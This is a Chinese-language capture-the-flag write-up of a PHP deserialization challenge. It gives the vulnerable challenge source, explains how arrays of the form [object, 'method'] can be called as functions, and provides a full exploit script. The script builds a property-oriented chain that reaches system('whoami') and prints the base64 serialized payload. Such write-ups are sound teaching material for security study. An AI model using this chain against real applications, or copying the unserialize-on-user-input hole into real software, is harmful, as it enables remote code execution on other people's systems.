0%

记一道有趣的反序列化题目

记一道有趣的反序列化题目

  <?php
class a {
    public function __destruct()
    {
        $this->test->test();
    }
}

abstract class b {
    private $b = 1;
    abstract protected function eval();
    public function test() {
        ($this->b)();
    }
}

class c extends b {
    private $call;
    protected $value;
    protected function eval() {
        if (is_array($this->value)) {
            ($this->call)($this->value);
        } else {
            die("you can't do this :(");
        }
    }
}

class d {
    public $value;
    public function eval($call) {
        $call($this->value);
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
}  
  • 题目开始思路很简单,入口就是__destruct,$this->test->test();当中会自动调到test,而类b中正存在test,而类c是继承类b的因此类c可以视作类b的增量。也就是说c中也存在test方法.我们将$this->test赋为object c同样能调到test.现在需要考虑的问题是方法test如何调用到后面的方法。因为如果只将属性b赋值为一个字符串的话那就只能调用简单的无参数方法例如phpinfo,本题的目标肯定是RCE,肯定是需要调用到方法eval,并且跳转到class d中的。这里就存在一个PHP的类方法调用的Trick.除了使用->调用动态类方法外还有就是使用数组拼接括弧的方法例如:
<?php
class a{
    public function __construct(){
      [$this,'test']();
    }
    public function test(){
      echo "hello hacker!";
    }
}

new a();
  • 该方法可以看到如果函数名字是一个数组,并且第一个元素是一个Object,第二个元素是一个字符串或者说方法名,那么在执行到该代码时候会自动调用第一个元素中的object的对应数组第二个元素的方法,也就是这$this是指类a本身的object,会自动调用到test方法。
  • 知道该点之后我们就可以知道我们可以class b中的属性b赋值为[$this,'eval']如此一来我们就可以直接调用到类本身的eval方法。但是由于class c重载了eval方法他必须要求value属性必须为数组。我们没法利用此进行RCE,我们必须另谋出路,我们可以看到class d中也存在动态拼接函数的问题,但是它并没有限制参数必须是数组的情况。我们可以故技重施,在 class c中的eval,利用上述方法调用d中的eval。例如
$this->call=[new d('system'),'eval'];
$this->value=[new d("whoami"),'eval'];
  • 为什么value和call是一样的呢?因为上面要求value的值必须是一个数组,并且我们传入的value又会被当做函数来执行,这样的话就能够递归调用class d中的eval方法,在第一次调用后会再次调用d中的eval,并且给value赋值为system,在第一次调用完会递归调用一次eval,这时候eval的参数传入的是system这样就导致执行system函数。从而RCE,递归调用过程如下:
image-20211029095213105
  • 完整的EXP如下:
<?php
class a {
    public function __destruct()
    {
        $this->test->test();
   }
}

abstract class b {
    private $b ;
    public function __construct()
    {
        $this->b = [$this,'eval'];
    }

    abstract protected function eval();

    public function test() {

        ($this->b)();
    }
}

class c extends b {
    private $call;
    protected $value;

    public function __construct($command){
        parent::__construct();
        $this->call=[new d('system'),'eval'];
        $this->value=[new d($command),'eval'];
    }
    protected function eval() {
        if (is_array($this->value)) {
            ($this->call)($this->value);
            // object d ->eval()
        } else {
            die("you can't do this :(");
        }
    }
}

class d {
    public $value;
    public function __construct($command){
        $this->value=$command;
    }
    public function eval($call) {
        //frist : $call :obect d('system') -> eval('system'); 
        //          $this->value = 'system'
        //         
        // scecond : $call : object d('whoami') -> eval('system');
        //              $this->value = 'whoami'
        // third : system('whoami')
        //              
        $call($this->value);
        //object d ->eval("whoami")
    }
}
$a = new a();
$c = new c('whoami');
$a->test = $c;


echo base64_encode(serialize($a));